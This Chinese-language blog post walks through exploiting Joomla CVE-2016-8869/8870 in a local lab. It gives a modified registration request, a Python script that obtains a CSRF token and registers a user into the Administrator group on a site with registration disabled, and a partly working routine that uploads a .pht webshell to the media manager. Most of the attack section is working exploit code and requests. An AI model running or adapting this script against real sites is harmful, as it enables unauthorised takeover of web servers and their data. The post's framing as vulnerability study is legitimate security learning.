首页 > 技术文章 > Joomla未授权创建特权用户漏洞和getshell脚本解析

moonnight 原文

0x00 简述

两个漏洞编号分别是CVE-2016-8869 CVE-2016-8870
漏洞利用描述:在网站关闭注册的情况下,绕过验证直接注册特权用户,登录设置允许的上传后缀等参数(但是我的环境中Administrator没有设置的权限),然后配合上传pht文件获取webshell。

漏洞成因:两个注册函数,默认使用的注册函数中UsersControllerRegistration::register():有检查是否允许注册
而另一个函数中UsersControllerUser::register()没有这样的检查

测试环境: xampp,php5.6.24,kali2.0,owasp zap

0x01手工测试

需要修改的地方有两处:jform[username] ==> user[username] ,registration.register -> user.register

首先抓正常注册的包

-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[name]"

asd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[username]"

asd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[password1]"

asdd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[password2]"

asdd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[email1]"

asd@asd.com
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[email2]"

asd@asd.com
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="option"

com_users
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="task"

registration.register
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="f9f7b49b2a156a316d79daf453138745"  //token

1
-----------------------------1248058223232754271732747274--

修改后发包,成功注册。
场景:用户先访问了登录表单,然后接着提交注册表单,使用同一个session。

0x02脚本编写

包中需要修改的参数有:用户名,密码,邮箱,还有token
由于网站关闭了注册功能不能到注册表单去抓token,但其实使用登录表单的token也可以
requests.Session可以自动处理cookie问题。


token

#注册url和登录url
reg_url=self.base_url+"/index.php/component/users/?task=registration.register"
form_url=self.base_url+"/index.php/component/users/?view=login"
#建立session
sess=requests.Session()
sess.get(form_url)
sess.post(reg_url,data=data)

解析token
由于登录表单中只要一个token,就不用解析HTML的方法了,直接使用正则匹配

match=re.search(r'name="([a-f0-9]{32})" value="1"',resp.content)

遇到的坑 :

1,其实url中末尾的task参数不用改成user.register也可以成功

2,注册账户的脚本中 我在页面中找到的url是http://localhost/Joomla_344/index.php/log-out?view=registration

经手工改包测试注册成功(但是页面显示出错误),脚本测试不成功

看到pwn中的url地址是 http://localhost/Joomla_344/index.php/component/users/?task=user.register

换成这个成功注册

3,最后上传文件的时候需要images文件夹要有写的权限

漏洞的分析可以看seebug的两篇paper
http://paper.seebug.org/88/
http://paper.seebug.org/86/
网上关于这个漏洞的利用工具
https://www.exploit-db.com/exploits/40637/
我的代码也是参照这个大牛的代码写的,关于编程的风格和错误处理方面都有很多值得学习的地方
我写的代码只能登录和注册,上传测试还不成功。

import requests
import re
from bs4 import BeautifulSoup
import random
class cms_user :
	def __init__(self,base_url,username,password,email,exploit_file='filthyc0w.pht'):
		self.username = username
		self.password = password
		self.base_url = base_url
		self.email    = email
		self.exploit_file = open(exploit_file,"r")
	def joomla_login(self):
		#input base_url
		#return bool
		sess=requests.Session()
		admin_url=self.base_url+'/administrator/index.php'
		resp=sess.get(admin_url)
		token=self.extract_token(resp)
		data = {
			'username': self.username,
			'passwd': self.password,
			'task': 'login',
			token: '1'
		}
		res=sess.post(admin_url,data=data)
		if "Administration - Control Panel" not in res.content:
			print "Login Fail"
			return False
		print "Login Sucess"
		print "username : "+self.username
		return sess

	def extract_token(self,resp):
		match=re.search(r'name="([a-f0-9]{32})" value="1"',resp.content)
		if match is None:
			print "not found token" 
			return None		
		print "get token: %s" % match.group(1)
		return match.group(1)

	def joomla_register(self):
		reg_url=self.base_url+"/index.php/component/users/?task=registration.register"
		form_url=self.base_url+"/index.php/component/users/?view=login"
		print reg_url
		sess=requests.Session()
		resp=sess.get(form_url)
		token=self.extract_token(resp)
		data={
		"user[name]":self.username,
		"user[username]":self.username,
		"user[password1]":self.password,
		"user[password2]":self.password,
		"user[email1]": self.email,
		"user[email2]": self.email,
		'user[groups][]': '7',	# Yay, Administrator!
		# Sometimes these will be overridden
		'user[activation]': '0',
		'user[block]': '0',
		'option': 'com_users',
		'task': 'user.register',
		token: '1',
		}
		reg=sess.post(reg_url,data=data)
		print reg.status_code

	def upload_file(self,sess):
		upload_form_url=self.base_url+"/administrator/index.php?option=com_media&folder="
		resp=sess.get(upload_form_url)
		form_tag=BeautifulSoup(resp.content,"lxml").find("form",id="uploadForm")
		if not form_tag:
			print "Form_upload can't found"
			return False
		upload_url=form_tag.get("action")+"&folder=hack"
		print upload_url
		filename=get_random_name()
		print filename
		file={"Filedata[]": ( filename , self.exploit_file , 'application/octet-stream')} #pht test image/pht
		data=dict(folder="hack")
		resp=sess.post(upload_url,files=file,data=data)
		if filename not in resp.content:
			print("[!] Failed to upload file!")
			return False
def get_random_name():
	name=""
	for i in range(7):
		name+=chr(random.randint(65,90))
	return name+'.pht'

使用exploit-db的脚本

shell.pht 中是<?= phpinfo(); 以<?php 开头会过滤
经测试 这样的标签也不好用,而且在php7中已经移除了

上传shell 的配置
在/etc/httpd.conf 需要配置 作者说在很多主机中都是这么用的,算是一种绕过的方法,反正我的xampp套装里没有这个配置。不加这一段是不会成功的。

<FilesMatch ".+.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

![](http://images2015.cnblogs.com/blog/796790/201611/796790-20161105163410533-1291988718.png)


推荐阅读